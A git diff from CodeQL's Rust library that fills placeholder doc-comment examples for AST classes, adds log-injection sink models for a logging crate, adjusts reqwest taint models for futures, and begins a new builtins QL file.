while x < 10 { + * x += 1; + * } * ``` */ class WhileExpr extends @while_expr, LoopingExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll index 6c013f9356d8..b770a268431d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RefTypeRepr` class directly. * Use the subclass `RefTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll index 89ac3f7f12cb..31dfe0d307cc 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Rename.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Name */ module Generated { /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Rename` class directly. * Use the subclass `Rename`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll index 06d2947ee8a5..0134255b8285 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RestPat.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.PatImpl::Impl as PatImpl */ module Generated { /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::RestPat` class directly. * Use the subclass `RestPat`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll index 352f4bcb9602..e316b8b32f8d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/RetTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::RetTypeRepr` class directly. * Use the subclass `RetTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll index e4c653da5d36..9b8a30c800ad 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ReturnTypeSyntax.qll @@ -14,9 +14,22 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` * INTERNAL: Do not reference the `Generated::ReturnTypeSyntax` class directly. * Use the subclass `ReturnTypeSyntax`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll index 6d47596b7d72..176b4e699e43 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SliceTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::SliceTypeRepr` class directly. * Use the subclass `SliceTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll index 07b5f25fda0d..64854b410cad 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/SourceFile.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.Item */ module Generated { /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` * INTERNAL: Do not reference the `Generated::SourceFile` class directly. * Use the subclass `SourceFile`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll index 00475e87558c..0fb3c627de29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Static.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` * INTERNAL: Do not reference the `Generated::Static` class directly. * Use the subclass `Static`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll index 1366eab77963..3460c239a9f3 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StmtList.qll @@ -17,9 +17,15 @@ import codeql.rust.elements.Stmt */ module Generated { /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StmtList` class directly. * Use the subclass `StmtList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index 07521be8d696..6776d9a80072 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -23,7 +23,10 @@ module Generated { /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` * INTERNAL: Do not reference the `Generated::Struct` class directly. * Use the subclass `Struct`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll index 8dfe65d5973d..66ab2785d422 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.StructExprField */ module Generated { /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructExprFieldList` class directly. * Use the subclass `StructExprFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll index cd392811e191..9650d4fd2c12 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructField.qll @@ -19,9 +19,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructField` class directly. * Use the subclass `StructField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll index aabd886f6b74..624391a3da6f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.StructField */ module Generated { /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructFieldList` class directly. * Use the subclass `StructFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll index 2a2098f27211..46a5407626ba 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.StructPatField */ module Generated { /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::StructPatFieldList` class directly. * Use the subclass `StructPatFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll index 530f3e3199c0..258a730ec643 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TokenTree.qll @@ -14,9 +14,16 @@ import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl */ module Generated { /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TokenTree` class directly. * Use the subclass `TokenTree`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll index d084fc36436b..0ca44b1f577d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TraitAlias.qll @@ -20,9 +20,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` * INTERNAL: Do not reference the `Generated::TraitAlias` class directly. * Use the subclass `TraitAlias`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll index e71c2c26b9e6..f4c5bbf6e9be 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TryExpr.qll @@ -16,9 +16,12 @@ import codeql.rust.elements.internal.ExprImpl::Impl as ExprImpl */ module Generated { /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TryExpr` class directly. * Use the subclass `TryExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll index e7dd183a171d..436960983864 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleField.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleField` class directly. * Use the subclass `TupleField`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll index 9b25d9a93165..56b1d505c3ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleFieldList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TupleField */ module Generated { /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleFieldList` class directly. * Use the subclass `TupleFieldList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll index 5929c019ff46..dead3a445e73 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.internal.TypeReprImpl::Impl as TypeReprImpl */ module Generated { /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TupleTypeRepr` class directly. * Use the subclass `TupleTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll index da8742cd188a..1b6b1c13219a 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeArg.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeArg` class directly. * Use the subclass `TypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll index 0667a931e453..c1e349511be0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBound.qll @@ -17,9 +17,12 @@ import codeql.rust.elements.UseBoundGenericArgs */ module Generated { /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBound` class directly. * Use the subclass `TypeBound`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll index 2781ab89de0f..e2fa4152d024 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeBoundList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.TypeBound */ module Generated { /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::TypeBoundList` class directly. * Use the subclass `TypeBoundList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll index 0c7c71df4f4d..5379ca78306e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/TypeParam.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` * INTERNAL: Do not reference the `Generated::TypeParam` class directly. * Use the subclass `TypeParam`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index 3959835cde0e..63f76703bcb1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -21,9 +21,11 @@ import codeql.rust.elements.WhereClause */ module Generated { /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` * INTERNAL: Do not reference the `Generated::Union` class directly. * Use the subclass `Union`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll index 2bc1364b7901..ba3cc1de397b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Use.qll @@ -17,9 +17,9 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` * INTERNAL: Do not reference the `Generated::Use` class directly. * Use the subclass `Use`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll index b900f7e01d39..9ba10bdf876e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.UseBoundGenericArg */ module Generated { /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::UseBoundGenericArgs` class directly. * Use the subclass `UseBoundGenericArgs`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index 2f4e6019c12b..7279c4e9c44f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index 9aa72b89a1ee..bb21ec82936f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.UseTree */ module Generated { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index 75b83ea647ec..93d4fc6a4160 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll index a09fcb80e3dd..e0ba8bfab156 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Variant */ module Generated { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::VariantList` class directly. * Use the subclass `VariantList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index ba397d4a5d25..340f53af63c9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Path */ module Generated { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. * Use the subclass `Visibility`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll index 727af1be1362..5b7080a7afaf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.WherePred */ module Generated { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WhereClause` class directly. * Use the subclass `WhereClause`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll index 6e68c7a25a69..cd835e33850c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WherePred` class directly. * Use the subclass `WherePred`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll index fa4a4aee65c5..b62e1256d618 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.LoopingExprImpl::Impl as LoopingExprImpl */ module Generated { /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` * INTERNAL: Do not reference the `Generated::WhileExpr` class directly. * Use the subclass `WhileExpr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/frameworks/log.model.yml b/rust/ql/lib/codeql/rust/frameworks/log.model.yml index d6ac223742f8..15f45c400934 100644 --- a/rust/ql/lib/codeql/rust/frameworks/log.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/log.model.yml @@ -17,3 +17,7 @@ extensions: - ["lang:core", "crate::panicking::panic_fmt", "Argument[0]", "log-injection", "manual"] - ["lang:core", "crate::panicking::assert_failed", "Argument[3].Field[crate::option::Option::Some(0)]", "log-injection", "manual"] - ["lang:core", "::expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_unwrap", "Argument[self].Field[crate::result::Result::Err(0)]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[0]", "log-injection", "manual"] + - ["repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err", "::log_expect", "Argument[self].Field[crate::result::Result::Err(0)]", "log-injection", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml index 3be832c8e7fb..f954d4ce7cce 100644 --- a/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/reqwest.model.yml @@ -3,7 +3,7 @@ extensions: pack: codeql/rust-all extensible: sourceModel data: - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::get", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "remote", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "crate::blocking::get", "ReturnValue.Field[crate::result::Result::Ok(0)]", "remote", "manual"] - addsTo: pack: codeql/rust-all @@ -15,10 +15,13 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text_with_charset", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::text", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::bytes", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)]", "taint", "manual"] + - ["repo:https://github.com/seanmonstar/reqwest:reqwest", "::chunk", "Argument[self]", "ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll new file mode 100644 index 000000000000..0c4999bba5e7 --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll @@ -0,0 +1,117 @@ +/** + * Provides classes for builtins. + */ + +private import rust + +/** The folder containing builtins. */ +class BuiltinsFolder extends Folder { + BuiltinsFolder() { + this.getBaseName() = "builtins" and + this.getParentContainer().getBaseName() = "tools" + } +} + +private class BuiltinsTypesFile extends File { + BuiltinsTypesFile() { + this.getBaseName() = "types.rs" and + this.getParentContainer() instanceof BuiltinsFolder + } +} + +/** + * A builtin type, such as `bool` and `i32`. + * + * Builtin types are represented as structs. + */ +class BuiltinType extends Struct { + BuiltinType() { this.getFile() instanceof BuiltinsTypesFile } + + /** Gets the name of this type. */ + string getName() { result = super.getName().getText() } +} + +/** The builtin `bool` type. */ +class Bool extends BuiltinType { + Bool() 